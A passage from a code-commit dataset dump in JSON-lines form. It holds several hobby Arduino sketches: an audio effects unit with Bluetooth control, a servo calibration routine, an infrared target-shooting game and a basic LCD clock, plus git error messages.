8, 9, 10 conversion complete.\n in_ADC0=ADC->ADC_CDR[7]; \/\/ read data from ADC0\n in_ADC1=ADC->ADC_CDR[6]; \/\/ read data from ADC1 \n while(HC06.available())\n {\n troca_param();\n } \n if(flag_effect == EQUALIZER){\n temp = PRM2; \/\/ parametro para o shelving_lf\n temp2 = PRM3; \/\/ parametro para o bump\n temp3 = PRM4; \/\/ parametro para o shelving_hf\n }\n else if(flag_effect == ECHO){\n temp = PRM2; \/\/ parametro para a intensidade do echo \n temp2 = PRM3; \/\/ parametro para a profundidade do echo \n }\n else if(flag_effect == DELAY){\n temp = PRM2;\n }\n \n}\n\nint tt = 0,r = 0;\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------- BlUETOOTH FUNCTION ----------------------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\nvoid troca_param(){\n \n \/\/ get the new byte:\n \/\/ Serial.println(PRM);\n char rxData = (int)HC06.read();\n teste = true;\n \/\/ Serial.println(out_DAC0);\n \/\/Serial.println(\"out1\" + (int)out_DAC1);\n switch(rxState){\n case rxState_0_idle:\n if(rxData == SYNC_BYTE){\n rxState = rxState_1_sync;\n legal = 1;\n \/\/ Serial.println(\"SYNC_BYTE received\");\n }\n else if(rxData == SYNC_BYTE2){\n rxState = rxState_1_sync;\n legal = 2;\n \/\/Serial.println(\"SYNC_BYTE2 received\");\n }\n else if(rxData == SYNC_BYTE3){\n rxState = rxState_1_sync;\n legal = 3;\n \/\/ Serial.println(\"SYNC_BYTE3 received\");\n }\n else if(rxData == SYNC_BYTE4){\n rxState = rxState_1_sync;\n legal = 4;\n \/\/ Serial.println(\"SYNC_BYTE4 received\");\n }\n else if(rxData == SYNC_BYTE5){\n rxState = rxState_1_sync;\n legal = 5;\n }\n else if(rxData == SYNC_BYTE6){\n rxState = rxState_1_sync;\n legal = 6;\n }\n else if(rxData == SYNC_BYTE7){\n rxState = rxState_1_sync;\n legal = 7;\n }\n else if(rxData == RETURN_BYTE){\n legal = 0;\n flag_effect = 0;\n rxState = rxState_1_sync;\n \/\/ Serial.println(\"RETURN_BYTE received\");\n }\n else if(rxData == VOLUME_BYTE){\n legal = 0;\n flag_effect = VOLUME;\n rxState = rxState_1_sync;\n \/\/ Serial.println(\"VOLUME_BYTE received\");\n }\n else if(rxData == DELAY_BYTE){\n legal = 0;\n PRM = 0;\n flag_effect = DELAY;\n rxState = rxState_1_sync;\n \/\/ Serial.println(\"DELAY_BYTE received\");\n }\n else if(rxData == EQUALIZER_BYTE){\n legal = 0;\n PRM2 =0;\n PRM3 = 0;\n PRM4 = 0;\n flag_effect = EQUALIZER;\n rxState = rxState_1_sync;\n \/\/ Serial.println(\"EQUALIZER_BYTE received\");\n }\n else if(rxData == ECHO_BYTE){\n legal = 0;\n PRM = 0;\n flag_effect = ECHO;\n rxState = rxState_1_sync;\n \/\/ Serial.println(\"ECHO_BYTE received\");\n }\n \n else if(rxData == REVERB_BYTE){\n legal = 0;\n PRM = 0;\n r = 0;\n flag_effect = REVERB;\n rxState = rxState_1_sync;\n \/\/ Serial.println(\"REVERB_BYTE received\");\n }\n break;\n \n case rxState_1_sync:\n rxLength = rxData;\n \/\/ Serial.println(\"Length: \" + String(rxLength));\n rxLength--;\n rxState = rxState_2_cmd;\n \n break;\n\n case rxState_2_cmd:\n rxCmd = rxData;\n \/\/ Serial.println(\"CMD: \" + String(rxCmd));\n \n rxLength--;\n rxState = rxState_3_data;\n break;\n \n case rxState_3_data:\n \/\/ Serial.println(\"data: \" + String(rxData));\n \/\/we have one command only\n if(legal==1){\n if(rxCmd==CMD_ANALOG){\n if(flag_effect == REVERB){\n PRM = map(rxData, 0, 99, 10, 2900);\n }\n else{\n PRM = map(rxData, 0, 99, 10, 4095);\n }\n Serial.println(\"parameter: \" + String(PRM));\n }\n }\n else if(legal == 2){\n if(rxCmd==CMD_ANALOG){\n if(flag_effect == EQUALIZER || flag_effect == REVERB){\n if(flag_effect == REVERB){\n PRM2 = rxData;\n \n \/\/ Serial.println(\"parameter2: \" + String(PRM2));\n }\n else if(flag_effect == EQUALIZER) \n PRM2 = rxData; \n }\n else if(flag_effect == ECHO)\n PRM2 = rxData;\n else \n PRM2 = map(rxData, 0, 99, 10, 2900);\n \/\/Adjust Delay Depth based in pot0 position.\n }\n }\n else if(legal == 3){\n if(rxCmd==CMD_ANALOG){\n if(flag_effect == EQUALIZER || flag_effect == REVERB){\n \n if(flag_effect == REVERB){\n PRM3 = rxData;\n \/\/ Serial.println(\"parameter3: \" + String(PRM3));\n }\n else if(flag_effect == EQUALIZER){ \n PRM3 = rxData;\n \/\/ Serial.println(\"parameter3: \" + String(PRM3));\n }\n }\n else \n PRM3 = map(rxData, 0, 99, 10, 2900);\n \/\/Adjust Delay Depth based in pot0 position.\n }\n }\n else if(legal == 4){\n if(rxCmd==CMD_ANALOG)\n if(flag_effect == EQUALIZER || flag_effect == REVERB){\n \n if(flag_effect == REVERB){\n PRM4 = rxData;\n \/\/ Serial.println(\"parameter4: \" + String(PRM4));\n }\n else if(flag_effect == EQUALIZER) \n PRM4 = rxData;\n }\n else \n PRM4 = map(rxData, 0, 99, 10, 2900);\n }\n else if(legal == 5){\n if(rxLength == 1){\n PRM5 = rxData;\n }\n }\n else if(legal == 6){\n PRM6 = rxData ;\n \n }\n else if(legal == 7){\n \n if(rxLength == 1){\n PRM7 = rxData;\n \/\/ Serial.println(\"parameter7: \" + String(PRM7));\n }\n }\n rxLength--;\n if(rxLength==0){\n rxState = rxState_0_idle;\n }\n\n break;\n \n default:\n rxState = rxState_0_idle;\n };\n \n }\n \n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------- BlUETOOTH FUNCTION ----------------------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\n\n\n\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------- TIMER FUNCTION(AUDIO EFFECTS) -----------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\n\nint vol_smother = 0,vol_regols =0,vol_rev = 0,shift_rev = 0;\nfloat a_echo = 0;\nint changedetect = -1, oldvol = 0,counter = 0,effect_act,changedetect2 = -2,counter2,delay_offset = 0,echo_offset = 0;\nint Delay_out = 0;\nboolean fade,fade2;\n\/\/fade for echo\nint echo_changedetect = -1,echo_counter = 0,echo_changedetect2 = -2,echo_counter2;\nboolean echo_fade,echo_fade2;\n\/\/fade for delay \nint delay_changedetect = -1, delay_counter = 0;\nboolean delay_fade;\nuint16_t echoin;\n\n\/\/EFFECTS in 16kHz at timer 7 interruption\nvoid (TC7_Handler)(){\n\n if(flag_effect == REVERB){\n in0 = (fix16_t)(in_ADC0 << 16);\n if(changedetect != PRM2 && changedetect != -1){\n counter = 0;\n fade = true;\n fade2 = false;\n counter2 = 0;\n }\n if(changedetect2 != PRM5 && changedetect2 != -2){\n counter2 = 0;\n fade2 = true;\n fade = false;\n counter = 0;\n }\n switch(effect_act){\n \n case SCHROEDER:\n out0 = schroeder(in0);\n break;\n \n case GARDNER_SMALL:\n out0 = gardner_small(in0);\n break;\n case GARDNER_MED:\n out0 = gardner_med(in0);\n break;\n case GARDNER_LARGE:\n out0 = gardner_large(in0);\n break;\n \n \n }\n \n \n \n changedetect = PRM2;\n changedetect2 = PRM5;\n out_DAC0 = out0>>16;\n if(fade){\n if(volume3 > 0)\n volume3--;\n out_DAC0 = map(out_DAC0,0,4095,0,volume3);\n counter++;\n if(counter > 4000){\n effect_act = changedetect;\n }\n if(counter > 29000){\n fade = false; \n counter = 0;\n }\n }\n \/* else if(fade2){\n if(volume3 > 0)\n volume3--;\n out_DAC0 = map(out_DAC0,0,4095,0,volume3);\n counter2++;\n if(counter2 > 4000){\n shift_rev = map(changedetect2,99,0,0,16);\n }\n if(counter2 > 19000){\n fade2 = false; \n counter2 = 0;\n }\n }*\/\n else{\n out_DAC0 = map(out_DAC0,0,4095,0,volume3);\n if(volume3 < PRM && (PRM < 1412 || PRM > 1590) )\n volume3++;\n else if(volume3 > PRM && (PRM < 1412 || PRM > 1590))\n volume3--; \n }\n\n\n \n dacc_set_channel_selection(DACC_INTERFACE, 0); \/\/select DAC channel 0\n dacc_write_conversion_data(DACC_INTERFACE, out_DAC0);\n }\n \n \n else if(flag_effect == ECHO){\n \n\n \n a = map(intensity_delay,0,99,0,4095);\n echoin = map(sDelayBuffer0[Delay_out],0,4095,0,a);\n \/\/ sDelayBuffer0[Delay] = in_ADC0 + (sDelayBuffer0[Delay])>>a;\n \/\/sDelayBuffer0[Delay] = in_ADC0 + (uint16_t)(sDelayBuffer0[Delay_out]\/a);\n \/\/sDelayBuffer0[Delay] = in_ADC0 + (uint16_t)(echoin);\n sDelayBuffer0[Delay] = in_ADC0;\n Delay_Depth_echo = map(depth_delay>>2,0,2047,1,MAX_DELAY);\n echo_offset = MAX_DELAY - Delay_Depth_echo;\n Delay++;\n if(Delay >= MAX_DELAY) Delay = 0;\n Delay_out = Delay + echo_offset;\n if(Delay_out >= MAX_DELAY){\n Delay_out = Delay_out - MAX_DELAY; \n }\n \/*if(Delay >= Delay_Depth_echo) Delay = 0; \n *\/\n \n out_DAC0 = (in_ADC0+ (echoin));\n \/\/ out_DAC0=map(out_DAC0,0,8100,1,volume);\n \n if(temp > intensity_delay){\n intensity_delay++;\n }\n else if(temp < intensity_delay){\n intensity_delay--;\n }\n \n if(temp2 > depth_delay){\n if(echoii > 6){\n echoii = 0;\n depth_delay++;\n }\n echoii++;\n }\n else if(temp2 < depth_delay){\n if(echoii > 6){\n echoii = 0;\n depth_delay--;\n }\n echoii++;\n }\n \n \n \n\n out_DAC0 = map(out_DAC0,0,4095,0,volume);\n if(PRM > volume && volume < 3300){\n volume++;\n } else if(PRM < volume)\n volume--;\n \n dacc_set_channel_selection(DACC_INTERFACE, 0); \/\/select DAC channel 0\n dacc_write_conversion_data(DACC_INTERFACE, out_DAC0);\/\/write on DAC\n }\n else if(flag_effect == DELAY){\n \n \n sDelayBuffer0[DelayCounter] = in_ADC0;\n \/\/ sDelayBuffer1[DelayCounter] = in_ADC1;\n Delay_Depth=map(intensity_delay>>2,0,1023,1,MAX_DELAY);\n delay_offset = MAX_DELAY - Delay_Depth;\n \/\/Increse\/reset delay counter. \n DelayCounter++;\n \/* if(DelayCounter >= Delay_Depth) DelayCounter = 0; \n out_DAC0 = ((sDelayBuffer0[DelayCounter]));\n out_DAC0=map(out_DAC0,0,4095,1,volume);\n *\/\n if(DelayCounter >= MAX_DELAY) DelayCounter = 0;\n Delay_out = DelayCounter + delay_offset;\n if(Delay_out >= MAX_DELAY)\n Delay_out = Delay_out - MAX_DELAY; \n \n out_DAC0 = ((sDelayBuffer0[Delay_out]));\n out_DAC0 = map(out_DAC0,0,4095,0,volume);\n \n \n if(PRM > volume && volume < 3800){\n volume++;\n } else if(PRM < volume)\n volume--;\n \n \n \n \n dacc_set_channel_selection(DACC_INTERFACE, 0); \/\/select DAC channel 0\n dacc_write_conversion_data(DACC_INTERFACE, out_DAC0);\/\/write on DAC\n \n \/* if(temp > intensity_delay && DelayCounter == 0 )\n intensity_delay = temp;\n \n else if(temp < intensity_delay && DelayCounter == 0)\n intensity_delay = temp;\n \n \n if(PRM > volume && volume < 3800){\n volume++;\n } else if(PRM < volume)\n volume--;\n *\/\n }\n\n TC_GetStatus(TC2, 1);\n\n}\nint volume2 = 0;\n\n\/\/Effects at 48kHz at timer 4 interruption\nvoid TC4_Handler()\n{\n \n switch(flag_effect){\n case VOLUME:\n out_DAC0=map(in_ADC0,0,4095,0,volume2);\n out_DAC1=map(in_ADC1,0,4095,0,volume2);\n if(volume2 < PRM)\n volume2++;\n else if(volume2 > PRM)\n volume2--; \n break; \n \n case EQUALIZER:\n int i = 0;\n actualSample = in_ADC0 << 16;\n out_DAC0 = equ();\n out_DAC0=map(out_DAC0,0,4095,0,volume);\n \/\/parte inserida para ocorrer um atraso na troca de valores dos pots e os deixar mais instaveis sem grandes variacoes\n \/\/os valores de 21 a 24 geravam muito aliasing portanto foram retirados o que melhorou bastante o codigo,somente nos shelving esse problema \u00e9 detectado\n if(temp > shelvlf_tb){\n if(i>6){\n i=0;\n shelvlf_tb++;\n }\n i++;\n }\n else if(temp < shelvlf_tb){\n if(i>6){\n i=0;\n shelvlf_tb--;\n }\n i++;\n }\n if(shelvlf_tb > 21 && shelvlf_tb < 24){\n if(shelvlf_tb >= 23)\n shelvlf_tb = 25;\n else\n shelvlf_tb = 21;\n }\n if(temp2 > bump_tb && temp2 < 30)\n bump_tb++;\n else if(temp2 < bump_tb)\n bump_tb--; \n if(temp3 > shelvhf_tb)\n shelvhf_tb++;\n else if(temp3 < shelvhf_tb)\n shelvhf_tb--;\n if(shelvhf_tb > 21 && shelvhf_tb < 24){\n if(shelvhf_tb >= 23)\n shelvhf_tb = 25;\n else\n shelvhf_tb = 21;\n }\n if(PRM > volume){\n volume++;\n } else if(PRM < volume)\n volume--;\n \n if(in_ADC0 > 4094){\n \/\/conferir se a entrada veio saturada, essa parte pode ser comentada na versao final do codigo\n \/\/esta ai para detectar uma falha que nao pode ser corrigida\n \/\/ Serial.println(\"sat entrada\");\n \/\/ Serial.println(in_ADC0);\n } \n \n break;\n \n \n \n \n \n \n \n \n }\n \n \/\/Clear status allowing the interrupt to be fired again.\n if(flag_effect == REVERB || flag_effect == ECHO || flag_effect == DELAY){\n }\n else{ \n dacc_set_channel_selection(DACC_INTERFACE, 0); \/\/select DAC channel 0\n dacc_write_conversion_data(DACC_INTERFACE, out_DAC0);\/\/write on DAC\n}\n TC_GetStatus(TC1, 1);\n}\n\/\/-------------------------------------------------------------------------------\/\/\n\/\/------------------------------- TIMER FUNCTION(AUDIO EFFECTS) -----------------\/\/\n\/\/-------------------------------------------------------------------------------\/\/\n\n\n\/\/---------------------------------------------------------------------------------\/\/\n\/\/------------------------------- EQUALIZER(AUDIO EFFECTS) ------------------------\/\/\n\/\/---------------------------------------------------------------------------------\/\/\nint equ(){\n fix16_t a1,TT;\n \n \n\/*----------------------------shelv low freqeuncy algorithm--------------------------------------------------------\n-------------------------------------------------------------------------------------------------------------------*\/\n \n \n \/\/boost\n if(shelvlf_tb >= 16){\n actualy1_lf = fix16_mul(actualSample,abc_lf[0]);\n actualy1_lf = fix16_sub(fix16_add(actualy1_lf,lastSample),fix16_mul(abc_lf[0],lastouty1Lf));\n actualy_lf = fix16_mul(H0[shelvlf_tb]>>1,fix16_add(actualSample,actualy1_lf));\n actualy_lf = fix16_add(actualy_lf,actualSample);\n }\n else if(shelvlf_tb > 13 && shelvlf_tb < 16 )\n actualy_lf = actualSample; \/\/evitar os ruidos na variacao dos pots, nessa faixa de valores de transicao\n \n \/\/cut\n else{\n actualy1_lf = fix16_mul(actualSample,abc_lf[shelvlf_tb+1]);\n actualy1_lf = fix16_sub(fix16_add(actualy1_lf,lastSample),fix16_mul(abc_lf[shelvlf_tb+1],lastouty1Lf));\n actualy_lf = fix16_mul(H0[shelvlf_tb]>>1,fix16_add(actualSample,actualy1_lf));\n actualy_lf = fix16_add(actualy_lf,actualSample);\n }\n \n\/\/ actualy_lf = actualSample; \/\/shelving desligado\n \n\/*------------------------------------------end shelving low frequency-----------------------------------------------\n---------------------------------------------------------------------------------------------------------------------*\/\n \n \n\/*-------------------------------------bump algorithm------------------------------------------------------------- \n------------------------------------------------------------------------------------------------------------------*\/\n \/\/reparem que como o bump nao tem problema na variacao dos pots ele nao precisa do bloco else if\n \/\/boost\n if(bump_tb >= 15){\n a1 = fix16_sub(0,fix16_mul(fix16_mul(d,fix16_sub(65536,abc_bump[0])),lastouty1Bump));\n actualy1Bump = fix16_sub(0,abc_bump[0]);\n actualy1Bump = fix16_mul(actualy1Bump,actualy_lf);\n actualy1Bump = fix16_add(actualy1Bump,fix16_mul(fix16_mul(d,fix16_sub(65536,abc_bump[0])),lastoutLf));\n actualy1Bump = fix16_add(actualy1Bump,seclastoutLf);\n actualy1Bump = fix16_add(actualy1Bump,a1);\n actualy1Bump =fix16_add(actualy1Bump,fix16_mul(abc_bump[0],seclastouty1Bump));\n \n \n actualy_bump = fix16_mul(H0[bump_tb]>>1,fix16_sub(actualy_lf,actualy1Bump));\n actualy_bump = fix16_add(actualy_bump,actualy_lf);\n \n \n \n }\n \n \/\/cut\n else{\n actualy1Bump = fix16_sub(0,abc_bump[bump_tb+1]);\n actualy1Bump = fix16_mul(actualy1Bump,actualy_lf);\n actualy1Bump = fix16_add(actualy1Bump,fix16_mul(fix16_mul(d,fix16_sub(65536,abc_bump[bump_tb+1])),lastoutLf));\n actualy1Bump = fix16_add(actualy1Bump,seclastoutLf);\n actualy1Bump = fix16_sub(actualy1Bump,fix16_mul(fix16_mul(d,fix16_sub(65536,abc_bump[bump_tb+1])),lastouty1Bump));\n actualy1Bump = fix16_add(actualy1Bump,fix16_mul(abc_bump[bump_tb+1],seclastouty1Bump));\n TT = fix16_sub(0,actualy1Bump);\n actualy_bump = fix16_mul(H0[bump_tb],fix16_add(actualy_lf,TT));\n actualy_bump = fix16_add(actualy_bump,actualy_lf);\n \n }\n \/\/actualy_bump = actualSample; \/\/shelving lf e bump desligado\n\/*---------------------------------------------end bump-----------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------*\/\n \n\n\n \n\/*----------------------------------------shelv high frequency algorithm ------------------------------------------------\n-------------------------------------------------------------------------------------------------------------------------*\/\n \n \n \/\/boost\n if(shelvhf_tb >= 16){\n actualy1_hf = fix16_mul(actualy_bump,abc_hf[0]);\n actualy1_hf = fix16_sub(fix16_add(actualy1_hf,lastoutyBump),fix16_mul(abc_hf[0],lastouthf));\n actualy_hf = fix16_mul(H0[shelvhf_tb],fix16_sub(actualy_bump,actualy1_hf));\n actualy_hf = fix16_add(actualy_hf,actualy_bump);\n }\n else if(shelvhf_tb > 13 && shelvhf_tb < 16 )\n actualy_hf = actualy_bump; \/\/evitar os ruidos na variacao dos pots, nessa faixa de valores de transicao\n \n \/\/cut\n else{\n actualy1_hf = fix16_mul(actualy_bump,abc_hf[shelvhf_tb+1]);\n actualy1_hf = fix16_sub(fix16_add(actualy1_hf,lastoutyBump),fix16_mul(abc_hf[shelvhf_tb+1],lastouthf));\n actualy_hf = fix16_mul(H0[shelvhf_tb],fix16_sub(actualy_bump,actualy1_hf));\n actualy_hf = fix16_add(actualy_hf,actualy_bump);\n }\n\/*--------------------------------------end shelving high frequency--------------------------------------------------------\n---------------------------------------------------------------------------------------------------------------------------*\/\n \/\/recepcao dos parametros de amostras passadas, \n \/\/sec de second \u00e9 a n-2, last \u00e9 n-1 e actual \u00e9 n, lf para shelving lf, \n \/\/bump para o bump|peak e hf para o shelving hf\n \n seclastouty1Bump = lastouty1Bump;\n lastouty1Bump = actualy1Bump;\n seclastoutLf = lastoutLf;\n lastoutLf = actualy_lf;\n lastouthf = actualy1_hf;\n lastoutyBump = actualy_bump;\n lastouty1Lf = actualy1_lf;\n lastSample = actualSample;\n \n \n \/\/shift de 16 devido as operacoes de ponto fixo olhem a entrada onde tem um shift para a parte alta de 16 \n return actualy_hf >> 16; \/\/saida final \n\/\/return actualy_lf >> 16; \/\/ saida shelving lf\n\/\/return actualy_bump >> 16; \/\/saida bump\n}\n\/\/---------------------------------------------------------------------------------\/\/\n\/\/------------------------------- EQUALIZER(AUDIO EFFECTS) ------------------------\/\/\n\/\/---------------------------------------------------------------------------------\/\/\n\n\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/switch_effects_final.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e96ba1db96d82f60f513f1f985de77cc9d5f0b09","subject":"Initial commit. Already used it to map boom servo sensor data. boom servo sensor value = 0.8979674797 * angle + 132.2040048178","message":"Initial commit. Already used it to map boom servo sensor data.\nboom servo sensor value = 0.8979674797 * angle + 132.2040048178\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Project\/map_angular_data\/map_angular_data.ino","new_file":"Project\/map_angular_data\/map_angular_data.ino","new_contents":"\/**\n * map_angular_data.ino\n * Purpose: Measures sensor values for servo angles. Used to\n * calibrate each servo.\n *\n * @author: Tyler Lucas\n * Student ID: 3305203\n * Date: October 9, 2017\n * Version 1.0\n * \n * References: N\/A\n * \n *\/\n\n\n#include <Servo.h> \/\/ servo library\n\n#define servo0PWMPin 11\n#define servo0sensorPin A0\n\n#define angleMax 110\n#define angleMin 30\n\nServo servo;\nint angle = angleMin;\nint angleAdjustment = 1;\n\nvoid setup()\n{\n servo.attach( servo0PWMPin );\n \n Serial.begin(9600);\n\n delay(1000);\n}\n\nvoid loop()\n{\n while ( angle <= angleMax && angle >= angleMin)\n {\n servo.write( angle );\n delay(50); \/\/ let arm settle\n\n \/\/ print\n for (int i=0; i<100; i++)\n {\n Serial.print( angle );\n Serial.write(',');\n Serial.println( analogRead(servo0sensorPin) );\n }\n \n angle += angleAdjustment;\n }\n\n angleAdjustment *= -1; \/\/ reverse direction\n}\n\ndouble analogReadAverage(int pin, unsigned int points)\n{\n double sum = 0;\n for (unsigned int i=0; i<points; i++)\n sum += analogRead(pin);\n return sum \/ points;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project\/map_angular_data\/map_angular_data.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"81dbabfa2dc0668967110b77702cc611e0aa3405","subject":"Changing #include path","message":"Changing #include path\n\nSpark libraries require all the #include to have the library name prefix\n","repos":"kennethlimcp\/arduinolifx,kennethlimcp\/arduinolifx","old_file":"firmware\/examples\/arduinolifx.ino","new_file":"firmware\/examples\/arduinolifx.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kennethlimcp\/arduinolifx.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"cb561fdfdaa75d8c1e3cfd82cd38f16b5a23c296","subject":"Added files via upload","message":"Added files via upload","repos":"kolsan\/StarWarsCarnival","old_file":"003TargetDownRight\/DianaParteInferior.ino","new_file":"003TargetDownRight\/DianaParteInferior.ino","new_contents":"\/\/Comunicacion i2c\n\/\/1-manager\n\/\/2 diana inferior izqda 3 diana inferior central 4 diana inferior dcha\n\/\/5 diana superior medio 6 diana superior alta\n\n\/\/ Receptor - Seria la diana de la feria\n#include <IRremote.h>\n#include <Servo.h>\n#include <Wire.h>\n\nconst int ledPin = 13;\nint RECV_PIN = 11;\nServo myservo;\nint pos = 15;\nboolean Playing;\nIRrecv irrecv(RECV_PIN);\nchar MessageReceived;\nunsigned long timer = millis();\nunsigned long time_between_target = 7;\nint randNumber = 0;\nint UpDegrees = 70; \/\/Grados a los que la diana esta vertical\nint DownDegrees = 10; \/\/Grados a los que la diana esta abajo\nint Shoots = 0; \/\/Guardaremos el numero de diana y en funci\u00f3n de ella modificaremos la dificultad\nboolean TargetUp;\nconst int delayForSound = 100;\n\nString texto;\ndecode_results results;\n\nvoid setup()\n{\n Serial.begin(9600);\n irrecv.enableIRIn(); \/\/ Start the receiver\n myservo.attach(9);\n \/\/Serial.println (\"Comenzamos...\");\n myservo.write(DownDegrees);\n delay(15);\n Playing = false;\n pinMode(ledPin, OUTPUT);\n Wire.begin(4); \/\/ join i2c bus with address #2\n Wire.onReceive(receiveEvent); \/\/ register event\n \/\/Serial.println (millis());\u00e7\n \/\/Manager.begin(9600);\n\n}\n\nvoid (* resetFunc) (void) = 0;\n\n\nvoid loop() {\n \/\/Esperamos la se\u00f1al de que comience la partida -1(49) - Acabar la partida 0 (48) - 2 modo demo (50) - 3 tiro acertado (51)\n\n\n if (Playing)\n {\n\n\n\n if ((timer < millis()) && (!TargetUp))\n { \/\/levantamos la diana transcurrido un tiempo aleatorio desde el ultimo blanco\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"go001\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n delay (delayForSound);\n for (pos = DownDegrees; pos <= UpDegrees; pos += 1) \/\/ goes from 0 degrees to 180 degrees\n { \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 5ms for the servo to reach the position\n }\n TargetUp = true;\n\n \/\/bajaremos la diana en 1-5 segundos depende de la dificultad\n\n switch (Shoots) {\n case 2:\n time_between_target = 5;\n \/\/Serial.println (time_between_target);\n break;\n case 3:\n time_between_target = 4;\n \/\/Serial.println (time_between_target);\n break;\n\n case 5:\n time_between_target = 3;\n \/\/Serial.println (time_between_target);\n break;\n\n case 7:\n time_between_target = 1;\n \/\/Serial.println (time_between_target);\n break;\n }\n }\n\n if (timer + (time_between_target * 1000) < millis()) \/\/Si ha pasado el tiempo marcado desde el ultimo tiro, bajamos la diana\n {\n \/\/ Serial.println (timer);\n \/\/ Serial.println (time_between_target * 1000);\n \/\/ Serial.println (timer + (time_between_target * 1000) );\n \/\/ Serial.println (millis());\n \/\/ Serial.println (\"Aqui2\");\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"nok001\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n for (pos = UpDegrees; pos >= DownDegrees; pos -= 1)\n {\n myservo.write(pos);\n delay(5);\n }\n TargetUp = false;\n randNumber = random(2, time_between_target);\n \/\/Serial.println (randNumber);\n timer = randNumber * 1000 + millis();\n randomSeed(analogRead(0));\n irrecv.resume(); \/\/ Receive the next value\n \/\/ Serial.println (timer);\n \/\/ Serial.println (millis());\n \/\/ Serial.println (\"Aqui3\");\n\n }\n\n\n\n if (irrecv.decode(&results) && TargetUp) {\n \/\/Serial.println(results.value, DEC);\n irrecv.resume(); \/\/ Receive the next value\n if (results.value == 2704) \/\/valor que dispara el emisor de infrarrojos (apagado de tele sony)\n {\n \/\/Serial.print (\"Blanco: \");\n \/\/Manager.listen();\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"ok001\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n myservo.write(UpDegrees - 30);\n delay (1500);\n Shoots = Shoots + 1;\n randNumber = random(2, time_between_target);\n \/\/Serial.println (randNumber);\n timer = randNumber * 1000 + millis();\n randomSeed(analogRead(0));\n \/\/Serial.println (timer);\n \/\/Serial.println (millis());\n for (pos = UpDegrees - 30; pos >= DownDegrees; pos -= 1) \/\/ goes from 180 degrees to 0 degrees\n {\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 15ms for the servo to reach the position\n }\n TargetUp = false;\n irrecv.resume();\n \/\/Serial.println (pos);\n \/\/delay(300);\n }\n }\n\n }\n\n\n}\n\n\/\/ function that executes whenever data is received from master\n\/\/ this function is registered as an event, see setup()\nvoid receiveEvent(int howMany) {\n while ( Wire.available()) { \/\/ loop through all but the last\n char c = Wire.read(); \/\/ receive byte as a character\n texto = texto + c;\n Serial.print(c); \/\/ print the character\n }\n\n if (texto == \"rst\")\n {\n resetFunc();\n }\n if (texto == \"go\")\n {\n Playing = true;\n Serial.println (\"Comienza la partida!!\");\n randomSeed(analogRead(0));\n for (pos = DownDegrees; pos <= UpDegrees; pos += 1) \/\/ goes from 0 degrees to 180 degrees\n { \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 15ms for the servo to reach the position\n time_between_target = 7;\n Shoots = 0;\n digitalWrite(ledPin, HIGH);\n\n }\n TargetUp = true;\n timer = millis();\n }\n if (texto == \"end\")\n {\n Playing = false;\n Serial.println (\"Fin de la partida!!\");\n for (pos = UpDegrees; pos >= DownDegrees; pos -= 1) \/\/ goes from 180 degrees to 0 degrees\n {\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 5ms for the servo to reach the position\n }\n TargetUp = false;\n Shoots = 0;\n digitalWrite(ledPin, LOW);\n }\n if (texto == \"gup\")\n {\n\n myservo.write(UpDegrees);\n }\n if (texto == \"gdo\")\n {\n\n myservo.write(DownDegrees);\n }\n if (texto == \"gme\")\n {\n\n myservo.write(UpDegrees \/ 2);\n }\n\n\n\n texto = \"\";\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '003TargetDownRight\/DianaParteInferior.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fa772f3a23719a9664ecfa8aeba68187d60b2fb2","subject":"Basics for a clock","message":"Basics for a clock\n","repos":"martindisch\/Arduino","old_file":"Clock\/Clock.ino","new_file":"Clock\/Clock.ino","new_contents":"#include <LiquidCrystal.h>\n\nLiquidCrystal lcd(12, 11, 5, 4, 3, 2);\nconst int contrastPin = 9;\nchar str[4];\n\nvoid setup() {\n Serial.begin(9600);\n lcd.begin(16, 2);\n pinMode(contrastPin, OUTPUT);\n analogWrite(contrastPin, 50);\n lcd.print(\"Type the current\");\n lcd.setCursor(0, 1);\n lcd.print(\"time in Serial\");\n Serial.println(\"Write the time (hh:mm) to start\");\n}\n\nvoid loop() {\n if (Serial.available() == 4) {\n for (byte i=0; i<4; i++){\n str[i] = Serial.read();\n }\n Serial.println(str);\n }\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Clock\/Clock.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0df1c495103919d1802694f5c8e3a8577f46b352","subject":"Codigo Arduino","message":"Codigo Arduino\n\nArchivo Base Arduino","repos":"manukorp\/hackatonMantaTrack","old_file":"lat_par.ino","new_file":"lat_par.ino","new_contents":"\/\/\/Manuel 